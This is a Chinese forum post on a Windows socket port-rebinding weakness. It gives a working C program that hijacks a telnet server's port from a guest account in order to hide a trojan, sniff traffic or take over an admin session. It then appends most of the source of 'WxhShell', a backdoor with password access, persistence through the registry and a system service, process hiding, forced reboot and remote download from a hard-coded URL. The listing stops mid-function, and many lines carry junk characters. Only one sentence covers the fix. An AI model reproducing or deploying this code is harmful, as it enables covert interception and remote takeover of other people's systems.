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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8<8:+M}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9x>d[-#y:J  
!F A]  
  saddr.sin_family = AF_INET; x:),P-~w  
m[~V/N3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xejo_SV&?  
 >qS9PX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5-aj 2>=7  
j|U#)v/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8ZM&(Lz7u  
*K|W /'_&  
  这意味着什么?意味着可以进行如下的攻击: pA9+Cr!0Q  
&7PG.Ff!r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nExU#/*~^  
wO'T BP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YG@t5j#b  
w<Wf?aG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3Z5D)zuc  
j27?w<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `j,Yb]~s79  
x3 q]I8q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^@3sT,M,S  
sz:g,}~h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7"sD5N/>uh  
q8/MMKCbX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t&H?\)!4  
q"\Z-D0B4  
  #include 7gj4j^a^]{  
  #include ,]46I.]  
  #include 4]?<hH9  
  #include    \fG#7_wt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =]6%G7T  
  int main() +x0!*3q  
  { {1 UQ/_  
  WORD wVersionRequested; F5P[dp-`1  
  DWORD ret; 06O2:5zF  
  WSADATA wsaData; JMrEFk  
  BOOL val; \NgYTZ  
  SOCKADDR_IN saddr; N5Q[nd  
  SOCKADDR_IN scaddr; c3 jx+Q  
  int err; s/$?^qtyC  
  SOCKET s; qh9Z50E9  
  SOCKET sc; ~Sj9GxTe  
  int caddsize; sDPs G5q<  
  HANDLE mt; f .Q\Z'S^  
  DWORD tid;   AL9chYP}/  
  wVersionRequested = MAKEWORD( 2, 2 ); n^Hm;BiE#  
  err = WSAStartup( wVersionRequested, &wsaData ); NQBpX  
  if ( err != 0 ) { &e @2  
  printf("error!WSAStartup failed!\n"); hs^zTZ_  
  return -1; d,+Hd2o^X  
  } B2>H_dmQ  
  saddr.sin_family = AF_INET; &e E=<x  
   0z1ifg&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U' H$`$Ov  
%j.0G`x9 +  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ',9V|jvK  
  saddr.sin_port = htons(23); 't:; irLW.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BXtCSfY $  
  { 4Jp:x"w  
  printf("error!socket failed!\n"); 5rw 7;'  
  return -1; dP3CG8w5  
  } '(U-(wTC'/  
  val = TRUE; EK {Eo9l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B Wk/DVue  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zr-*$1eu  
  { tXNm$Cq.|  
  printf("error!setsockopt failed!\n"); !%CWZZ 6u  
  return -1; g;pcZ9o  
  } s'!Cp=xQF"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J1( 9QN[w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S0zD"T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]~9t Y n  
ZGexdc%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wxKX{Bs  
  { 8EW_V$>R  
  ret=GetLastError(); f.D?sHAn  
  printf("error!bind failed!\n"); MqW7cjg  
  return -1; TrlZ9?3#D  
  } a zCf  
  listen(s,2); ;&9)I8Us  
  while(1) "|EM;o  
  { ]D?"aX'q>  
  caddsize = sizeof(scaddr); JZ)RGSG i  
  //接受连接请求 )#?"Gjf~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |n2qVR,  
  if(sc!=INVALID_SOCKET) ) pzy  
  { -.1y(k^4E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '*K:  lx  
  if(mt==NULL) }tRm]w  
  { 2L3)#22m*  
  printf("Thread Creat Failed!\n"); /5S30 |K  
  break; sd*p/Q|4  
  } gZN8!#h}B  
  } 9B{k , 1  
  CloseHandle(mt); i+A3~w5c  
  } e^8 O_VB  
  closesocket(s); c23oCfB>  
  WSACleanup(); V LOO8N[o  
  return 0; zwhe  
  }   L uq#9(P  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ur9?Td'*>  
  { j]{_s"O  
  SOCKET ss = (SOCKET)lpParam; :*I# n  
  SOCKET sc; Y\D!/T  
  unsigned char buf[4096]; n`#tKwWHYx  
  SOCKADDR_IN saddr; N(; 1o.~  
  long num; ,vr? 2k  
  DWORD val; C6VLy x  
  DWORD ret; 6c}h(TkB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "H7dft/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Pr3qo4t.L  
  saddr.sin_family = AF_INET; {+ ][5<q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <`.X$r*  
  saddr.sin_port = htons(23); o)h_H;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QX!-B  
  { m,VOx7%n  
  printf("error!socket failed!\n"); = i$Fl{vH  
  return -1; X$HIVxyq2  
  } MX$0Op  
  val = 100; !=pn77`g >  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C].iCxn  
  { 3DzMB?I  
  ret = GetLastError(); )Q=_0;#;k  
  return -1; >tYm+coS  
  } .8@$\ZRP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (jnQ -  
  { D[4u+g?[}>  
  ret = GetLastError(); r)lEofX,g+  
  return -1; 8NxM4$nQX  
  } TITKj?*o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L9r8BK;  
  { J*r*X.  
  printf("error!socket connect failed!\n"); -f3p U:G8  
  closesocket(sc); w{I vmdto  
  closesocket(ss); P 0SQr?W  
  return -1; \MA+f~)9  
  } ^ UciW  
  while(1) C;;Sih5  
  { c?tBi9'Y]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p#&h=,W}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )mg:_K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 69PE9zz  
  num = recv(ss,buf,4096,0); |N4.u _hM  
  if(num>0) U\ ig:  
  send(sc,buf,num,0); S ^"y4- 2  
  else if(num==0) )SaGH3~*C  
  break; ?ME6+Z\  
  num = recv(sc,buf,4096,0); [glLre^  
  if(num>0) 35A|BD) q  
  send(ss,buf,num,0); ?8I?'\F;  
  else if(num==0) Us)Z^s  
  break; 8LyD7P 1\  
  } R] vV*  
  closesocket(ss); KxI&G%z  
  closesocket(sc); DH[p\Wy'  
  return 0 ; mi=Q{>rb  
  } )fFb_U  
:yL] ;J  
ed]=\Key  
========================================================== i@C].X  
Pnk5mK$  
下边附上一个代码,,WXhSHELL yg `j-9[8  
{}>0e:51  
========================================================== f~t:L, \,  
^?-:'<4q$  
#include "stdafx.h" Qk0R a_  
V3 9g,=`b%  
#include <stdio.h> ?[VM6- &  
#include <string.h> &c`nR<  
#include <windows.h> 4~ q5,^kgB  
#include <winsock2.h> [^R^8k  
#include <winsvc.h> Gk. ruQW"  
#include <urlmon.h> XtXEB<4Z  
8Ry3`ct  
#pragma comment (lib, "Ws2_32.lib") &x=.$76  
#pragma comment (lib, "urlmon.lib") F<ZYh  
=qoWCmg"&  
#define MAX_USER   100 // 最大客户端连接数 ls?~+\Jb  
#define BUF_SOCK   200 // sock buffer 3oBtP<yG.  
#define KEY_BUFF   255 // 输入 buffer $'0u|Xy`  
%r<rcY  
#define REBOOT     0   // 重启 NC8t) X7  
#define SHUTDOWN   1   // 关机 XQrF4l  
4{}FL  
#define DEF_PORT   5000 // 监听端口 9?A)n4b;  
k o5@qNq  
#define REG_LEN     16   // 注册表键长度 #Z}Rf k(~  
#define SVC_LEN     80   // NT服务名长度 ) mI05  
}Q)#[#e  
// 从dll定义API ~t@cO.c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \6S7T$$ 1m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &X`C%h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a_[Eh fE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \(J8#V  
%OtFHhb  
// wxhshell配置信息 Bp*K]3_  
struct WSCFG { 6~0$Z-);(  
  int ws_port;         // 监听端口 Z_PNI#h*  
  char ws_passstr[REG_LEN]; // 口令 bADnW4N`6;  
  int ws_autoins;       // 安装标记, 1=yes 0=no H;D>|q  
  char ws_regname[REG_LEN]; // 注册表键名 Qwz}B  
  char ws_svcname[REG_LEN]; // 服务名 v&Ii^?CvO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f& 0M*o,)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qsF<!'m7`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wJg1Y0nh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W$QcDp]#p}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [NQOrcAQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $[9%QQk5<L  
n+! AnKq  
}; Gn22<C/  
E_gD:PPU5  
// default Wxhshell configuration "HX<,l8f%  
struct WSCFG wscfg={DEF_PORT, Qf58ig-vCY  
    "xuhuanlingzhe", 2{M^,=^>  
    1, V GL aN%|  
    "Wxhshell", !*/*8re  
    "Wxhshell", Nw:GCf-L  
            "WxhShell Service", \Lq h j  
    "Wrsky Windows CmdShell Service", Y}@&h!  
    "Please Input Your Password: ", g(nPQOs$u  
  1, 9Q -HeXvR  
  "http://www.wrsky.com/wxhshell.exe", 8{Q<N%Jnu  
  "Wxhshell.exe" E^Y#&skXp3  
    }; #:%&x@@c3P  
{qDSPo  
// 消息定义模块 9 ^o-EC!_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VJ84?b{c W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pb^i^tA+A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m9)p-1y@5  
char *msg_ws_ext="\n\rExit."; 6f;fx}y  
char *msg_ws_end="\n\rQuit."; 3yANv?$a  
char *msg_ws_boot="\n\rReboot..."; -1Jg?cPz k  
char *msg_ws_poff="\n\rShutdown..."; '#! gh?  
char *msg_ws_down="\n\rSave to "; {Z{75}  
TH)"wNa  
char *msg_ws_err="\n\rErr!"; hrmut*<|  
char *msg_ws_ok="\n\rOK!"; yhlFFbU  
OL5v).Bb  
char ExeFile[MAX_PATH]; zh4# A <e  
int nUser = 0; 1pQn8[sc@  
HANDLE handles[MAX_USER]; Ulhk$CPA  
int OsIsNt; }L &^xe  
X#d~zk[r2  
SERVICE_STATUS       serviceStatus; J2d.f}-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $v,dz_O*\  
yH7F''O7  
// 函数声明 -VZ-<\uH  
int Install(void); c~6>1w7SZ4  
int Uninstall(void); nvca."5y  
int DownloadFile(char *sURL, SOCKET wsh); ?m![Pg%  
int Boot(int flag); kSC}aN'  
void HideProc(void); >AC]#'  
int GetOsVer(void); "X2Vrn'  
int Wxhshell(SOCKET wsl); -\+s#kE:  
void TalkWithClient(void *cs); ~L]|?d"  
int CmdShell(SOCKET sock); |].pDwgt  
int StartFromService(void); ()`7L|(`;q  
int StartWxhshell(LPSTR lpCmdLine); X(!Cfb8+5  
KgV3j]d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u,F nAh?"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !P ~_Dl2d  
>O1[:%Z1  
// 数据结构和表定义 g$n7CXoT  
SERVICE_TABLE_ENTRY DispatchTable[] = ^F>cp ,x  
{ k- Q%.o  
{wscfg.ws_svcname, NTServiceMain}, @HT% n  
{NULL, NULL} {-ZFp  
}; CPgCjtY  
)@N2  
// 自我安装 -8'C\R|J+  
int Install(void) Fd#?\r.  
{ lT4Hn;tnN  
  char svExeFile[MAX_PATH];  rL/H2[d  
  HKEY key; |]QqXE-7  
  strcpy(svExeFile,ExeFile); Mc#*wEo)8  
W>!_|[a  
// 如果是win9x系统,修改注册表设为自启动 2#o>Z4 r{  
if(!OsIsNt) { $m7?3/YG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f @8mS    
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pa#d L!J  
  RegCloseKey(key); 5>VY LI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dG@"!!,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p/(~IC "!J  
  RegCloseKey(key); ()tp>  
  return 0; =,%CLS,6w  
    } $4-$pL6"  
  } I[b}4M6E  
} ?/TSi0R  
else { rJFc({ 0  
qNI, 62  
// 如果是NT以上系统,安装为系统服务 0- ><q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pkP?i5 ,  
if (schSCManager!=0) e'~Zo9`r6  
{ 5'0xz.)!  
  SC_HANDLE schService = CreateService ANvRi+ _  
  ( b k|m4|  
  schSCManager, qL5{f(U4<  
  wscfg.ws_svcname, Jm|+-F@I  
  wscfg.ws_svcdisp, wg ^sGKN  
  SERVICE_ALL_ACCESS, %cCs?ic  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =PUt&`1.a  
  SERVICE_AUTO_START, j lp:lX  
  SERVICE_ERROR_NORMAL, u4m,'XR  
  svExeFile, 3:5 &Aa!  
  NULL, }YjX3|8zL=  
  NULL, > *@y8u*  
  NULL, (*1v\Q  
  NULL, |nbf'  
  NULL =81@ o,1w  
  ); N+zKr/  
  if (schService!=0) : q ti  
  { ii%+jdi.  
  CloseServiceHandle(schService); i.=w]S j  
  CloseServiceHandle(schSCManager); iP@ZM =&wz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DvPlV q~  
  strcat(svExeFile,wscfg.ws_svcname); h8 'v d3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x&^_c0fn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tBNoI  
  RegCloseKey(key); 2LNRtW*  
  return 0; RlheQTJ  
    } G+F#n6Vx  
  } J~B<7O<?!1  
  CloseServiceHandle(schSCManager); 7Q7-vx  
} e2z h&j  
} $p#%G#T  
Gq_-Val]"  
return 1; ` L >  
} 76V 6cI=+  
xBUya4w  
// 自我卸载 HODz*pI  
int Uninstall(void) o[v\|Q`d  
{ Z-8Yd6 4  
  HKEY key; Jo$G,Q  
IGS1|  
if(!OsIsNt) { rm4.aO~-F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vy_D>tp  
  RegDeleteValue(key,wscfg.ws_regname); '7D,m H  
  RegCloseKey(key); 4%2~Wi8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !l|5z G  
  RegDeleteValue(key,wscfg.ws_regname); baJxU:Y=p  
  RegCloseKey(key); W3Dc r@Dy  
  return 0; v$(lZa1  
  } 9Q(+ZG=JkV  
} 5K^69mx  
} 7@Zx@  
else { b8$gx:aJ>$  
CSGz3uC2D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^Y u6w\QM  
if (schSCManager!=0) GM<BO8Y.  
{ @mE)|.f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); af#pR&4}   
  if (schService!=0) #Y0-BYa^  
  { %uJ<M-@r=u  
  if(DeleteService(schService)!=0) { %)[+%57{  
  CloseServiceHandle(schService); Jg]'+>,J  
  CloseServiceHandle(schSCManager); o }3uo6GIB  
  return 0; 2H/Z_+\  
  } .Q@S #d  
  CloseServiceHandle(schService); BBH0OiV=  
  } `Ja?fI'H-  
  CloseServiceHandle(schSCManager); !>BZ6gn5  
} v^)bhIPe;  
} +E1I");  
JT "B>y>  
return 1; Dq36p${ \W  
} 2-=\~<)  
j<2m,~k`V  
// 从指定url下载文件 N2oRJ,:B  
int DownloadFile(char *sURL, SOCKET wsh) {GKy'/[  
{ b !%hH  
  HRESULT hr; 7M<'ddAN  
char seps[]= "/"; `W dD8E  
char *token; 5k6mmiaKk  
char *file; < 'f dkW  
char myURL[MAX_PATH]; &;XAuDw4+i  
char myFILE[MAX_PATH]; Eo\UAc  
'" X_B0k  
strcpy(myURL,sURL); !(n4|Wd  
  token=strtok(myURL,seps); V[}4L| ad  
  while(token!=NULL) >N;F8v  
  { Ypeiy `.  
    file=token; U~} U\_  
  token=strtok(NULL,seps); {%VV\qaC  
  } ?OE.O/~l  
?lbH02P{v  
GetCurrentDirectory(MAX_PATH,myFILE); ;<$H)`*  
strcat(myFILE, "\\"); !/^-;o7  
strcat(myFILE, file); Sr&515  
  send(wsh,myFILE,strlen(myFILE),0); -6tgsfEr  
send(wsh,"...",3,0); 4Ue_Y 'LmM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a 4=N9X  
  if(hr==S_OK) <+^6}8-  
return 0; 1iX)d)(b  
else `((Yc]:7  
return 1; G0`h%  
#l4)HV  
} z-@=+4~  
9Ro6fjjE  
// 系统电源模块 \k]x;S<a  
int Boot(int flag) B!dU>0&Ct  
{ kloR#?8A  
  HANDLE hToken; R*oXmuOsYA  
  TOKEN_PRIVILEGES tkp; Vs)--t  
>_c5r?]SG  
  if(OsIsNt) { -D N8Yb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cFN'bftH4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ti2Ls5H}  
    tkp.PrivilegeCount = 1; `} m Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v?0r`<Mn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &-czStQ  
if(flag==REBOOT) { [U@ *1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "+z?x~rk  
  return 0; K]qM~v<A  
} yf?h#G%24  
else { -*~CV:2iq-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N7b1.]<  
  return 0; OdQT2PA_  
} /wxE1][.  
  } hY*0aZ|(  
  else { &n[~!%(  
if(flag==REBOOT) { i\4hR?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) osOVg0Gyj  
  return 0; +B'8|5tPX  
} Z<#hS=eY  
else { 4<lQwV6=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B aO1/zk  
  return 0; Tzt,/e  
} [L6w1b,  
} ^9_U Uzf\  
/Y&02L%\3s  
return 1; *d(SI<j  
} @v}B6j b;  
LuR,f"%2  
// win9x进程隐藏模块 )jCo%P/  
void HideProc(void) _TUk(Qe  
{ TgTnqR@/  
V $|<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sow d`I~  
  if ( hKernel != NULL ) 4J|t?]ij|E  
  { YC=S5;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T# lP!c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /({;0I*!i  
    FreeLibrary(hKernel); B_ja&) !s1  
  } .}k(L4T|=  
nx:KoB"ny  
return; FP#FB$eP  
} Y4F6qyP)"  
1[E#vdbT  
// 获取操作系统版本 4Hb $0l  
int GetOsVer(void) aup6?'G;  
{ _ 1*7Z=|  
  OSVERSIONINFO winfo; 1`LXz3uBe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0G <hn8>  
  GetVersionEx(&winfo); KtB!"yy#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z?NEO>h7  
  return 1; Nwc!r (  
  else G~wFnl%  
  return 0; 3Wcy)y>2Ap  
} 8ZcU[8r  
J9%@VZut  
// 客户端句柄模块 <&pKc6+{  
int Wxhshell(SOCKET wsl) GIftrYr  
{ *U=]@I}J  
  SOCKET wsh; {ub/3Uh  
  struct sockaddr_in client; :%JC^dV(  
  DWORD myID; -fgC" 2H  
' )-M\'S$E  
  while(nUser<MAX_USER) pi5GxDA]  
{ ~AG$5!  
  int nSize=sizeof(client); pi@Xkw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r]P,9  
  if(wsh==INVALID_SOCKET) return 1; $ P: O/O=>  
|<`.fOxJP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jqr)V2Y  
if(handles[nUser]==0) bm}6{28R  
  closesocket(wsh); ~%ozgzr^  
else U>S`k6  
  nUser++; "R9Yb,tIN  
  } D);'pKl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m-V02's  
.5> 20\b2  
  return 0; G",.,Px  
} K?u(1  
+m,!e*g  
// 关闭 socket ^1jk$$f  
void CloseIt(SOCKET wsh) :XV} c(+d  
{ DlyMJ#a  
closesocket(wsh); DF1<JdO+  
nUser--; LS.r%:$mb  
ExitThread(0); K(T\9J.  
}  m@rSz  
Ep~wWQh  
// 客户端请求句柄 ~2uh'e3  
void TalkWithClient(void *cs) U5/qf8)yO  
{ >qn/<??  
7ODaX.t->  
  SOCKET wsh=(SOCKET)cs; ?4z8)E9Ju  
  char pwd[SVC_LEN]; %G?K@5?j?  
  char cmd[KEY_BUFF]; kII7z;<^`  
char chr[1]; RbQ <m!A  
int i,j; |@j _2Q,  
+&ZX$  
  while (nUser < MAX_USER) { .~=HgOJ  
,smF^l   
if(wscfg.ws_passstr) { Psa@@'w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )%Y IGV;&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Di=9mHC  
  //ZeroMemory(pwd,KEY_BUFF); beZ(o?uK  
      i=0; UQd6/mD`e  
  while(i<SVC_LEN) { noNm^hFL  
q]<xMg#nu  
  // 设置超时 , fb( WY  
  fd_set FdRead; N dR ]  
  struct timeval TimeOut; r$nkU4N'  
  FD_ZERO(&FdRead); W7UtA.2LT  
  FD_SET(wsh,&FdRead); FA>1x*;c  
  TimeOut.tv_sec=8; 6J%iZ  
  TimeOut.tv_usec=0; en9en=n|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _$/ +D:K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sl~x$9`  
X QbNH~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L2-^! '  
  pwd=chr[0]; mog9jw  
  if(chr[0]==0xd || chr[0]==0xa) { b>cafu  
  pwd=0; ~!+h?[miV  
  break; \&A+s4c")  
  } w@]jpH;WX  
  i++; 0H=9@  
    } 'I/h(  
hSqMaX%G  
  // 如果是非法用户,关闭 socket 2HOe__Ns  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 's@MQ! *  
} 9 Aivf+  
"dN < i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [{F%LRCo-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K 6pw8  
V 2kWiyN  
while(1) { EIX\O6*  
 Iao[Pyk  
  ZeroMemory(cmd,KEY_BUFF); WPY8C3XO  
#*%fu  
      // 自动支持客户端 telnet标准   %my  
  j=0; T!( 4QRh[  
  while(j<KEY_BUFF) { ER|!KtCSM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aqQ o,5U>  
  cmd[j]=chr[0]; d$1 #<-yP  
  if(chr[0]==0xa || chr[0]==0xd) { 4nX(:K}>  
  cmd[j]=0; %"7WXOv&z  
  break; n@B{vyy  
  } qw:9zYG}qW  
  j++; T_L6 t66I  
    } !p% @Deu  
0#|7U_n  
  // 下载文件 t*+! n.p  
  if(strstr(cmd,"http://")) {  t.3 \/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kEK[\f VE  
  if(DownloadFile(cmd,wsh)) ."JzDs   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :|XCnK0  
  else bf98B4<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pv$tTWk  
  } S|2VP8xY9  
  else { G:Hj;&'2  
Xu<FDjr  
    switch(cmd[0]) { d)*(KhYie@  
  GAJ~$AiwHH  
  // 帮助 {a4xF2  
  case '?': { Pe,;MP\2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #1l7FT?q  
    break; 5LMj!)3  
  } !V( `ZH  
  // 安装 oYq,u@oM  
  case 'i': { OLFt;h  
    if(Install()) ??TdrTS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); </w 7W3F  
    else y''0PSfb#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <lx^aakk!  
    break; X\G)81Q.S  
    }  wF;B@  
  // 卸载 U(A4v0T  
  case 'r': { 9 x [X<  
    if(Uninstall()) LV=^jsQ5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -R@JIe_28f  
    else ,^+#M{Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2E$i_jc  
    break; s*{mT6s+T  
    } }B*,mn2N  
  // 显示 wxhshell 所在路径 9L=;KtE1  
  case 'p': { (1y='L2rj  
    char svExeFile[MAX_PATH]; p5qx=p~c  
    strcpy(svExeFile,"\n\r"); le2/Zs$  
      strcat(svExeFile,ExeFile); v|y<_Ya  
        send(wsh,svExeFile,strlen(svExeFile),0); qnTi_c  
    break; `Of[{.Q  
    } ;Bnr=' [  
  // 重启 x?>!UqgkY  
  case 'b': { P7Z<0Dt\}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T:)% P6/  
    if(Boot(REBOOT)) ._K$0U!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hwZ6 .  
    else { 5^o3y.J?P  
    closesocket(wsh); .r6YrB@['  
    ExitThread(0); vu>YH)N_h  
    } (JvQ-H  
    break; Z_jn27AC  
